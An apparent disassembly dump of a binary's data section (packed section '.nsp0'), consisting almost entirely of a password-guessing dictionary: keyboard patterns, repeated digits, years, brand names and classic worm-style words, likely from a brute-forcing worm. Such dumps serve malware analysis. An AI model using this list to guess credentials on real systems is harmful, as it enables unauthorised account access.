aIi db 'ii',0 ; DATA XREF: .nsp0:0042B424o
align 4
aI_1: ; DATA XREF: .nsp0:0040317Bo
; .nsp0:0042B420o ...
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0 ; DATA XREF: .nsp0:0042B41Co
align 4
aHhhhh db 'hhhhh',0 ; DATA XREF: .nsp0:0042B418o
align 4
aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:0042B414o
align 4
aHhh db 'hhh',0 ; DATA XREF: .nsp0:0042B410o
aHh db 'hh',0 ; DATA XREF: .nsp0:0042B40Co
align 4
asc_42B9BC: ; DATA XREF: .nsp0:0042B408o
; .nsp0:0043FF10o
unicode 0, <h>,0
aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:0042B404o
align 4
aGgggg db 'ggggg',0 ; DATA XREF: .nsp0:0042B400o
align 10h
aGggg db 'gggg',0 ; DATA XREF: .nsp0:0042B3FCo
align 4
aGgg db 'ggg',0 ; DATA XREF: .nsp0:0042B3F8o
aGg db 'gg',0 ; DATA XREF: .nsp0:0042B3F4o
align 10h
aG: ; DATA XREF: .nsp0:0042B3F0o
; .nsp0:0043FF0Co
unicode 0, <g>,0
aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:0042B3ECo
align 4
aEeeee db 'eeeee',0 ; DATA XREF: .nsp0:0042B3E8o
align 4
aEeee db 'eeee',0 ; DATA XREF: .nsp0:0042B3E4o
align 4
aEee db 'eee',0 ; DATA XREF: .nsp0:0042B3E0o
aEe db 'ee',0 ; DATA XREF: .nsp0:0042B3DCo
align 4
aE: ; DATA XREF: .nsp0:00406556o
; .nsp0:0042B3D8o ...
unicode 0, <e>,0
aFffff db 'fffff',0 ; DATA XREF: .nsp0:0042B3D4o
align 10h
aFfff db 'ffff',0 ; DATA XREF: .nsp0:0042B3D0o
align 4
aFff db 'fff',0 ; DATA XREF: .nsp0:0042B3CCo
aFf db 'ff',0 ; DATA XREF: .nsp0:00406584o
; .nsp0:0042B3C8o
align 10h
aF: ; DATA XREF: .nsp0:0042B3C4o
; .nsp0:0043FF08o
unicode 0, <f>,0
aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:0042B3C0o
align 4
aDddd db 'dddd',0 ; DATA XREF: .nsp0:0042B3BCo
align 4
aDdd db 'ddd',0 ; DATA XREF: .nsp0:0042B3B8o
aDd db 'dd',0 ; DATA XREF: .nsp0:0042B3B4o
align 4
aD: ; DATA XREF: .nsp0:004029E8o
; .nsp0:0042B3B0o ...
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0 ; DATA XREF: .nsp0:0042B3ACo
align 4
aCccccccc db 'cccccccc',0 ; DATA XREF: .nsp0:0042B3A8o
align 4
aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:0042B3A4o
aCccccc db 'cccccc',0 ; DATA XREF: .nsp0:0042B3A0o
align 4
aCcccc db 'ccccc',0 ; DATA XREF: .nsp0:0042B39Co
align 10h
aCccc_0 db 'cccc',0 ; DATA XREF: .nsp0:0042B398o
align 4
aCcc db 'ccc',0 ; DATA XREF: .nsp0:0042B394o
aCc db 'cc',0 ; DATA XREF: .nsp0:0042B390o
align 10h
aC: ; DATA XREF: .nsp0:00406620o
; .nsp0:0042B38Co ...
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .nsp0:0042B388o
align 10h
aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .nsp0:0042B384o
align 4
aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .nsp0:0042B380o
aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:0042B37Co
align 4
aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:0042B378o
align 4
aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:0042B374o
align 4
aBbb db 'bbb',0 ; DATA XREF: .nsp0:0042B370o
aBb db 'bb',0 ; DATA XREF: .nsp0:0042B36Co
align 4
aB_0: ; DATA XREF: .nsp0:0042B368o
; .nsp0:0043FF30o
unicode 0, <b>,0
aRfv db 'rfv',0 ; DATA XREF: .nsp0:0042B364o
aEdc db 'edc',0 ; DATA XREF: .nsp0:0042B360o
aWsx db 'wsx',0 ; DATA XREF: .nsp0:0042B35Co
aQaz db 'qaz',0 ; DATA XREF: .nsp0:0042B358o
aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:0042B354o
align 4
aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:0042B350o
align 10h
aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:0042B34Co
aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0042B348o
align 10h
aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0042B344o
align 4
aAs db 'as',0 ; DATA XREF: .nsp0:0042B338o
align 4
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0042B334o
aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0042B330o
align 4
aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0042B32Co
align 4
aZxc db 'zxc',0 ; DATA XREF: .nsp0:0042B324o
aZx db 'zx',0 ; DATA XREF: .nsp0:0042B320o
align 4
aZ: ; DATA XREF: .nsp0:0042B31Co
; .nsp0:0042B588o ...
unicode 0, <z>,0
aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0042B318o
aToyota db 'TOYOTA',0
align 10h
dd offset byte_524F4B
dd 726F6Bh, 696863h, 494843h
aSystem db 'system',0 ; DATA XREF: .nsp0:0042B608o
align 4
aServices db 'services',0
align 4
aServers db 'servers',0
aServer db 'server',0 ; DATA XREF: .nsp0:00405974o
align 4
aQwertyuiop db 'qwertyuiop',0
align 10h
aQwertyuio db 'qwertyuio',0
align 4
aQwertyui db 'qwertyui',0
align 4
aQwertyu db 'qwertyu',0
aQwe db 'qwe',0 ; DATA XREF: .nsp0:0042B290o
aQw db 'qw',0 ; DATA XREF: .nsp0:0042B28Co
align 4
aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0042B288o
align 4
aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0042B284o
align 10h
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0042B280o
align 4
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0042B27Co
align 4
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0042B278o
aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0042B274o
align 4
aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0042B270o
align 10h
aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0042B26Co
align 4
aAa db 'aa',0 ; DATA XREF: .nsp0:004062A4o
; .nsp0:0042B264o
align 4
aXp db 'XP',0 ; DATA XREF: .nsp0:0040AEE0o
; sub_41B2E4+AAo ...
align 10h
aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0042B258o
align 4
aSex db 'SEX',0 ; DATA XREF: .nsp0:0042B254o
aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0042B250o
align 4
aDisc_0 db 'DISC',0 ; DATA XREF: .nsp0:0042B24Co
align 10h
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0042B248o
align 4
aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0042B244o
align 4
aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0042B240o
align 4
aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0042B23Co
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0042B238o
aSony db 'sony',0 ; DATA XREF: .nsp0:0042B234o
align 4
a7654321 db '7654321',0 ; DATA XREF: .nsp0:0042B230o
a4321 db '4321',0 ; DATA XREF: .nsp0:0042B224o
align 4
a321 db '321',0 ; DATA XREF: .nsp0:0042B220o
a2006 db '2006',0 ; DATA XREF: .nsp0:0042B218o
align 10h
a2005 db '2005',0 ; DATA XREF: .nsp0:0042B214o
align 4
a2004 db '2004',0 ; DATA XREF: .nsp0:0042B210o
align 10h
a2001 db '2001',0 ; DATA XREF: .nsp0:0042B204o
align 4
a2000 db '2000',0 ; DATA XREF: .nsp0:0042B200o
align 10h
a1999 db '1999',0 ; DATA XREF: .nsp0:0042B1FCo
align 4
a1998 db '1998',0 ; DATA XREF: .nsp0:0042B1F8o
align 10h
a1997 db '1997',0 ; DATA XREF: .nsp0:0042B1F4o
align 4
a1996 db '1996',0 ; DATA XREF: .nsp0:0042B1F0o
align 10h
a1995 db '1995',0 ; DATA XREF: .nsp0:0042B1ECo
align 4
a1994 db '1994',0 ; DATA XREF: .nsp0:0042B1E8o
align 10h
a1993 db '1993',0 ; DATA XREF: .nsp0:0042B1E4o
align 4
a1992 db '1992',0 ; DATA XREF: .nsp0:0042B1E0o
align 10h
a1991 db '1991',0 ; DATA XREF: .nsp0:0042B1DCo
align 4
a1990 db '1990',0 ; DATA XREF: .nsp0:0042B1D8o
align 10h
a1989 db '1989',0 ; DATA XREF: .nsp0:0042B1D4o
align 4
a1988 db '1988',0 ; DATA XREF: .nsp0:0042B1D0o
align 10h
a1987 db '1987',0 ; DATA XREF: .nsp0:0042B1CCo
align 4
a1986 db '1986',0 ; DATA XREF: .nsp0:0042B1C8o
align 10h
a1985 db '1985',0 ; DATA XREF: .nsp0:0042B1C4o
align 4
a1984 db '1984',0 ; DATA XREF: .nsp0:0042B1C0o
align 10h
a1983 db '1983',0 ; DATA XREF: .nsp0:0042B1BCo
align 4
a1982 db '1982',0 ; DATA XREF: .nsp0:0042B1B8o
align 10h
a1981 db '1981',0 ; DATA XREF: .nsp0:0042B1B4o
align 4
a1980 db '1980',0 ; DATA XREF: .nsp0:0042B1B0o
align 10h
a1979 db '1979',0 ; DATA XREF: .nsp0:0042B1ACo
align 4
a1978 db '1978',0 ; DATA XREF: .nsp0:0042B1A8o
align 10h
a1977 db '1977',0 ; DATA XREF: .nsp0:0042B1A4o
align 4
a1976 db '1976',0 ; DATA XREF: .nsp0:0042B1A0o
align 10h
a1975 db '1975',0 ; DATA XREF: .nsp0:0042B19Co
align 4
a1974 db '1974',0 ; DATA XREF: .nsp0:0042B198o
align 10h
a1973 db '1973',0 ; DATA XREF: .nsp0:0042B194o
align 4
a1972 db '1972',0 ; DATA XREF: .nsp0:0042B190o
align 10h
a1971 db '1971',0 ; DATA XREF: .nsp0:0042B18Co
align 4
a1970 db '1970',0 ; DATA XREF: .nsp0:0042B188o
align 10h
a1969 db '1969',0 ; DATA XREF: .nsp0:0042B184o
align 4
a1968 db '1968',0 ; DATA XREF: .nsp0:0042B180o
align 10h
a1967 db '1967',0 ; DATA XREF: .nsp0:0042B17Co
align 4
a1966 db '1966',0 ; DATA XREF: .nsp0:0042B178o
align 10h
a1965 db '1965',0 ; DATA XREF: .nsp0:0042B174o
align 4
a1964 db '1964',0 ; DATA XREF: .nsp0:0042B170o
align 10h
a1963 db '1963',0 ; DATA XREF: .nsp0:0042B16Co
align 4
a1962 db '1962',0 ; DATA XREF: .nsp0:0042B168o
align 10h
a1961 db '1961',0 ; DATA XREF: .nsp0:0042B164o
align 4
a1960 db '1960',0 ; DATA XREF: .nsp0:0042B160o
align 10h
a1959 db '1959',0 ; DATA XREF: .nsp0:0042B15Co
align 4
a1958 db '1958',0 ; DATA XREF: .nsp0:0042B158o
align 10h
a1957 db '1957',0 ; DATA XREF: .nsp0:0042B154o
align 4
a1956 db '1956',0 ; DATA XREF: .nsp0:0042B150o
align 10h
a1955 db '1955',0 ; DATA XREF: .nsp0:0042B14Co
align 4
a1954 db '1954',0 ; DATA XREF: .nsp0:0042B148o
align 10h
a1953 db '1953',0 ; DATA XREF: .nsp0:0042B144o
align 4
a1952 db '1952',0 ; DATA XREF: .nsp0:0042B140o
align 10h
a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0042B13Co
a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0042B138o
a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0042B134o
a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0042B120o
a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0042B11Co
align 4
a12asd db '12asd',0 ; DATA XREF: .nsp0:0042B118o
align 10h
a12abc db '12abc',0 ; DATA XREF: .nsp0:0042B114o
align 4
a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0042B110o
align 10h
a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0042B10Co
align 4
a1asd db '1asd',0 ; DATA XREF: .nsp0:0042B108o
align 10h
a1abc db '1abc',0 ; DATA XREF: .nsp0:0042B104o
align 4
a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0042B100o
align 10h
a123467890 db '123467890',0 ; DATA XREF: .nsp0:0042B0FCo
align 4
a12346789 db '12346789',0 ; DATA XREF: .nsp0:0042B0F8o
align 4
a1234678 db '1234678',0 ; DATA XREF: .nsp0:0042B0F4o
a123467 db '123467',0 ; DATA XREF: .nsp0:0042B0F0o
align 4
a12346 db '12346',0 ; DATA XREF: .nsp0:0042B0ECo
align 10h
a121 db '121',0 ; DATA XREF: .nsp0:0042B0C4o
a1020 db '1020',0 ; DATA XREF: .nsp0:0042B0BCo
align 4
a0258 db '0258',0 ; DATA XREF: .nsp0:0042B0B8o
align 4
a8520 db '8520',0 ; DATA XREF: .nsp0:0042B0B4o
align 4
a987 db '987',0 ; DATA XREF: .nsp0:0042B0B0o
a789 db '789',0 ; DATA XREF: .nsp0:0042B0ACo
a654 db '654',0 ; DATA XREF: .nsp0:0042B0A8o
a456 db '456',0 ; DATA XREF: .nsp0:0042B0A4o
a1122 db '1122',0 ; DATA XREF: .nsp0:0042B0A0o
align 4
a0147 db '0147',0 ; DATA XREF: .nsp0:0042B09Co
align 4
a7410 db '7410',0 ; DATA XREF: .nsp0:0042B098o
align 4
a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0042B090o
align 10h
a999999999 db '999999999',0 ; DATA XREF: .nsp0:0042B08Co
align 4
a99999999 db '99999999',0 ; DATA XREF: .nsp0:0042B088o
align 4
a9999999 db '9999999',0 ; DATA XREF: .nsp0:0042B084o
a999999 db '999999',0 ; DATA XREF: .nsp0:0042B080o
align 4
a99999 db '99999',0 ; DATA XREF: .nsp0:0042B07Co
align 10h
a9999 db '9999',0 ; DATA XREF: .nsp0:0042B078o
align 4
a999 db '999',0 ; DATA XREF: .nsp0:0042B074o
a99 db '99',0 ; DATA XREF: .nsp0:0042B070o
align 10h
a9: ; DATA XREF: .nsp0:0042B06Co
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0042B068o
align 10h
a888888888 db '888888888',0 ; DATA XREF: .nsp0:0042B064o
align 4
a8888888 db '8888888',0 ; DATA XREF: .nsp0:0042B05Co
a888888 db '888888',0 ; DATA XREF: .nsp0:0042B058o
align 4
a88888 db '88888',0 ; DATA XREF: .nsp0:0042B054o
align 4
a8888 db '8888',0 ; DATA XREF: .nsp0:0042B050o
align 4
a888 db '888',0 ; DATA XREF: .nsp0:0042B04Co
a88 db '88',0 ; DATA XREF: .nsp0:0042B048o
align 4
a8: ; DATA XREF: .nsp0:0042B044o
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0042B040o
align 4
a777777777 db '777777777',0 ; DATA XREF: .nsp0:0042B03Co
align 10h
a77777777 db '77777777',0 ; DATA XREF: .nsp0:0042B038o
align 4
a7777777 db '7777777',0 ; DATA XREF: .nsp0:0042B034o
a777777 db '777777',0 ; DATA XREF: .nsp0:0042B030o
align 4
a77777 db '77777',0 ; DATA XREF: .nsp0:0042B02Co
align 4
a7777 db '7777',0 ; DATA XREF: .nsp0:0042B028o
align 4
a777 db '777',0 ; DATA XREF: .nsp0:0042B024o
a77 db '77',0 ; DATA XREF: .nsp0:0042B020o
align 4
a7: ; DATA XREF: .nsp0:0042B01Co
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0042B018o
align 4
a666666666 db '666666666',0 ; DATA XREF: .nsp0:0042B014o
align 10h
a66666666 db '66666666',0 ; DATA XREF: .nsp0:0042B010o
align 4
a6666666 db '6666666',0 ; DATA XREF: .nsp0:0042B00Co
a666666 db '666666',0 ; DATA XREF: .nsp0:0042B008o
align 4
a66666 db '66666',0 ; DATA XREF: .nsp0:0042B004o
align 4
a6666 db '6666',0 ; DATA XREF: .nsp0:0042B000o
align 4
a666 db '666',0 ; DATA XREF: .nsp0:0042AFFCo
a66 db '66',0 ; DATA XREF: .nsp0:0042AFF8o
align 4
a6: ; DATA XREF: .nsp0:0042AFF4o
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0042AFF0o
align 4
a555555555 db '555555555',0 ; DATA XREF: .nsp0:0042AFECo
align 10h
a55555555 db '55555555',0 ; DATA XREF: .nsp0:0042AFE8o
align 4
a5555555 db '5555555',0 ; DATA XREF: .nsp0:0042AFE4o
a555555 db '555555',0 ; DATA XREF: .nsp0:0042AFE0o
align 4
a55555 db '55555',0 ; DATA XREF: .nsp0:0042AFDCo
align 4
a5555 db '5555',0 ; DATA XREF: .nsp0:0042AFD8o
align 4
a555 db '555',0 ; DATA XREF: .nsp0:0042AFD4o
a55 db '55',0 ; DATA XREF: .nsp0:0042AFD0o
align 4
a5: ; DATA XREF: .nsp0:0042AFCCo
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0042AFC8o
align 4
a444444444 db '444444444',0 ; DATA XREF: .nsp0:0042AFC4o
align 10h
a44444444 db '44444444',0 ; DATA XREF: .nsp0:0042AFC0o
align 4
a4444444 db '4444444',0 ; DATA XREF: .nsp0:0042AFBCo
a444444 db '444444',0 ; DATA XREF: .nsp0:0042AFB8o
align 4
a44444 db '44444',0 ; DATA XREF: .nsp0:0042AFB4o
align 4
a4444 db '4444',0 ; DATA XREF: .nsp0:0042AFB0o
align 4
a444 db '444',0 ; DATA XREF: .nsp0:0042AFACo
a44 db '44',0 ; DATA XREF: .nsp0:0042AFA8o
align 4
a4: ; DATA XREF: .nsp0:0042AFA4o
unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0042AFA0o
align 4
a333333333 db '333333333',0 ; DATA XREF: .nsp0:0042AF9Co
align 10h
a33333333 db '33333333',0 ; DATA XREF: .nsp0:0042AF98o
align 4
a3333333 db '3333333',0 ; DATA XREF: .nsp0:0042AF94o
a333333 db '333333',0 ; DATA XREF: .nsp0:0042AF90o
align 4
a33333 db '33333',0 ; DATA XREF: .nsp0:0042AF8Co
align 4
a3333 db '3333',0 ; DATA XREF: .nsp0:0042AF88o
align 4
a333 db '333',0 ; DATA XREF: .nsp0:0042AF84o
a33 db '33',0 ; DATA XREF: .nsp0:0042AF80o
align 4
a3: ; DATA XREF: .nsp0:0042AF7Co
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0042AF78o
align 4
a222222222 db '222222222',0 ; DATA XREF: .nsp0:0042AF74o
align 10h
a22222222 db '22222222',0 ; DATA XREF: .nsp0:0042AF70o
align 4
a2222222 db '2222222',0 ; DATA XREF: .nsp0:0042AF6Co
a222222 db '222222',0 ; DATA XREF: .nsp0:0042AF68o
align 4
a22222 db '22222',0 ; DATA XREF: .nsp0:0042AF64o
align 4
a2222 db '2222',0 ; DATA XREF: .nsp0:0042AF60o
align 4
a222 db '222',0 ; DATA XREF: .nsp0:0042AF5Co
a22 db '22',0 ; DATA XREF: .nsp0:0042AF58o
align 4
a2: ; DATA XREF: .nsp0:0042AF54o
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0042AF50o
align 4
a111111111 db '111111111',0 ; DATA XREF: .nsp0:0042AF4Co
align 10h
a1111111 db '1111111',0 ; DATA XREF: .nsp0:0042AF44o
a11111 db '11111',0 ; DATA XREF: .nsp0:0042AF3Co
align 10h
a1111 db '1111',0 ; DATA XREF: .nsp0:0042AF38o
align 4
a11 db '11',0 ; DATA XREF: .nsp0:0042AF30o
align 4
a010 db '010',0 ; DATA XREF: .nsp0:0042AF20o
a009 db '009',0 ; DATA XREF: .nsp0:0042AF1Co
a008 db '008',0 ; DATA XREF: .nsp0:0042AF18o
a006 db '006',0 ; DATA XREF: .nsp0:0042AF10o
a005 db '005',0 ; DATA XREF: .nsp0:00401D8Ao
; .nsp0:0042AF0Co
a004 db '004',0 ; DATA XREF: .nsp0:0042AF08o
a003 db '003',0 ; DATA XREF: .nsp0:0042AF04o
a002 db '002',0 ; DATA XREF: .nsp0:0042AF00o
a001 db '001',0 ; DATA XREF: .nsp0:00401D75o
; .nsp0:0042AEFCo
asc_42C1B0 db '*********',0 ; DATA XREF: .nsp0:0042AEF8o
align 4
asc_42C1BC db '********',0 ; DATA XREF: .nsp0:0042AEF4o
align 4
asc_42C1C8 db '*******',0 ; DATA XREF: .nsp0:0042AEF0o
asc_42C1D0 db '******',0 ; DATA XREF: .nsp0:0042AEECo
align 4
asc_42C1D8 db '*****',0 ; DATA XREF: .nsp0:0042AEE8o
align 10h
asc_42C1E0 db '****',0 ; DATA XREF: .nsp0:0042AEE4o
align 4
asc_42C1E8 db '***',0 ; DATA XREF: .nsp0:0042AEE0o
asc_42C1EC db '**',0 ; DATA XREF: .nsp0:0042AEDCo
align 10h
asc_42C1F0: ; DATA XREF: .nsp0:0040FFC5o
; .nsp0:0042AED8o
unicode 0, <*>,0
a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0042AED4o
align 10h
a000000000 db '000000000',0
align 4
a@ db '@!',0
align 10h
a@_0 db '#@!',0
a@_1 db '$#@!',0
align 4
a@_2 db '%$#@!',0
align 4
a@_3 db '^%$#@!',0
align 4
a@_4 db '&^%$#@!',0
a@_5 db '*&^%$#@!',0
align 10h
db '$$$',0
db '$$',0
align 4
unicode 0, <$>,0
a456_0 db '456+',0
align 4
a789_0 db '789+',0
align 4
a0 db '=-0',0
db '--++',0
align 4
db '-+',0
align 4
db '----',0
align 4
db '--',0
align 4
unicode 0, <->,0
db '++++',0
align 4
db '+++',0
db '++',0
align 4
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: .nsp0:0042AE54o
align 4
a@_6: ; DATA XREF: .nsp0:00401DAFo
unicode 0, <@>,0
dd offset loc_40211F+2
dd 2121h
dword_42C2A0 dd 23h, 24234021h, 2A265E25h, 0 ; sub_40C98B+1Bo
dd 24234021h, 265E25h, 24234021h, 5E25h, 24234021h, 25h
dd 234021h, 4021h
dword_42C2D0 dd 21h, 25h, 6D6D697Ah, 616D7265h, 6Eh ; .nsp0:004097DEo
dword_42C2E4 dd 70617Ah aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0042AE18o
aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042AE14o
aWisconsin db 'wisconsin',0
align 4
aWilliamsburg db 'williamsburg',0
align 4
aWholesale db 'wholesale',0
align 10h
aTty db 'tty',0
aTopography db 'topography',0
align 10h
aTemptation db 'temptation',0
align 4
aTelephone db 'telephone',0
align 4
aTangerine db 'tangerine',0
align 4
aSys db 'sys',0
aSupported db 'supported',0
align 4
aSuperuser db 'superuser',0
align 10h
aSuperstage db 'superstage',0
align 4
aSun db 'sun',0
aStuttgart db 'stuttgart',0
align 4
aStratford db 'stratford',0
align 4
aStephanie db 'stephanie',0
align 4
aSignature db 'signature',0
align 10h
aSheffield db 'sheffield',0
align 4
aSal db 'sal',0
aRochester db 'rochester',0
align 4
aRje db 'rje',0
aRachmaninoff db 'rachmaninoff',0
align 10h
aPub db 'pub',0
aProfessor db 'professor',0
align 10h
aPrinceton db 'princeton',0
align 4
aPondering db 'pondering',0
align 4
aPolynomial db 'polynomial',0
align 4
aPersimmon db 'persimmon',0
align 10h
aPercolate db 'percolate',0
align 4
aPam db 'pam',0
aPad db 'pad',0
aOceanography db 'oceanography',0
align 4
aNutrition db 'nutrition',0
align 10h
aNew db 'new',0
aNet db 'net',0 ; DATA XREF: .nsp0:00405F5Ao
aMit db 'mit',0
aMgr db 'mgr',0
aMacintosh db 'macintosh',0
align 4
aLiz db 'liz',0
aLee db 'lee',0
aLamination db 'lamination',0
align 10h
aKim db 'kim',0
aKey db 'key',0 ; DATA XREF: .nsp0:00403347o
aJoy db 'joy',0
aJen db 'jen',0
aInnocuous db 'innocuous',0
align 4
aImbroglio db 'imbroglio',0
align 4
aIbm db 'ibm',0
aHappening db 'happening',0
align 4
aHal db 'hal',0
aGnu db 'gnu',0
aFun db 'fun',0
aForesight db 'foresight',0
align 10h
aFoolproof db 'foolproof',0
align 4
aExtension db 'extension',0 ; DATA XREF: .nsp0:0042AD38o
align 4
aEstablish db 'establish',0 ; DATA XREF: .nsp0:0042AD34o
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:0042AD30o
align 10h
aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:0042AD2Co
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:0042AD28o
align 4
aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0042AD24o
align 4
aDos db 'dos',0 ; DATA XREF: .nsp0:0042AD20o
aDog db 'dog',0 ; DATA XREF: .nsp0:0042AD1Co
aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:0042AD18o
align 4
aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0042AD14o
align 4
aDeb db 'deb',0 ; DATA XREF: .nsp0:0042AD10o
aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:0042AD0Co
align 4
aCommrades db 'commrades',0 ; DATA XREF: .nsp0:0042AD08o
align 10h
aChristine db 'christine',0 ; DATA XREF: .nsp0:0042AD04o
align 4
aChristina db 'christina',0 ; DATA XREF: .nsp0:0042AD00o
align 4
aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:0042ACFCo
align 4
aCatherine db 'catherine',0 ; DATA XREF: .nsp0:0042ACF8o
align 10h
aCat db 'cat',0 ; DATA XREF: .nsp0:0042ACF4o
aCampanile db 'campanile',0 ; DATA XREF: .nsp0:0042ACF0o
align 10h
aCad db 'cad',0 ; DATA XREF: .nsp0:0042ACECo
aBsd db 'bsd',0 ; DATA XREF: .nsp0:0042ACE8o
aBob db 'bob',0 ; DATA XREF: .nsp0:0042ACE4o
aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:0042ACE0o
align 4
aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:0042ACDCo
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:0042ACD8o
align 10h
aAsm db 'asm',0 ; DATA XREF: .nsp0:0042ACD4o
aAsd db 'asd',0 ; DATA XREF: .nsp0:0042ACD0o
; .nsp0:0042B33Co
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:0042ACCCo
align 4
aAnn db 'ann',0 ; DATA XREF: .nsp0:0042ACC8o
aAndromache db 'andromache',0 ; DATA XREF: .nsp0:0042ACC4o
align 4
aAmy db 'amy',0 ; DATA XREF: .nsp0:0042ACC0o
aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0042ACBCo
align 4
aAma db 'ama',0 ; DATA XREF: .nsp0:0042ACB8o
aAlf db 'alf',0 ; DATA XREF: .nsp0:0042ACB4o
aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:0042ACB0o
align 4
aAda db 'ada',0 ; DATA XREF: .nsp0:0042ACACo
aH4x0ring db 'h4x0ring',0 ; DATA XREF: .nsp0:0042ACA8o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0042ACA4o
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:0042ACA0o
align 10h
aHaxing db 'haxing',0 ; DATA XREF: .nsp0:0042AC9Co
align 4
aHax db 'hax',0 ; DATA XREF: .nsp0:0042AC98o
aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0042AC94o
align 4
aHo db 'ho',0 ; DATA XREF: .nsp0:0042AC90o
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:0042AC8Co
align 10h
aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:0042AC88o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0042AC84o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:0042AC80o
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:0042AC7Co
align 10h
aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0042AC78o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0042AC74o
align 4
aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0042AC70o
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:0042AC6Co
align 10h
aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:0042AC68o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042AC64o
align 4
aMs db 'MS',0 ; DATA XREF: .nsp0:0042AC60o
align 4
aM_2 db 'M$',0 ; DATA XREF: .nsp0:0042AC5Co
align 10h
aBilly db 'billy',0 ; DATA XREF: .nsp0:0042AC58o
align 4
aWindose db 'windose',0 ; DATA XREF: .nsp0:0042AC54o
aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0042AC50o
aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0042AC4Co
aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0042AC48o
aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042AC44o
align 4
aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0042AC40o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0042AC3Co
align 4
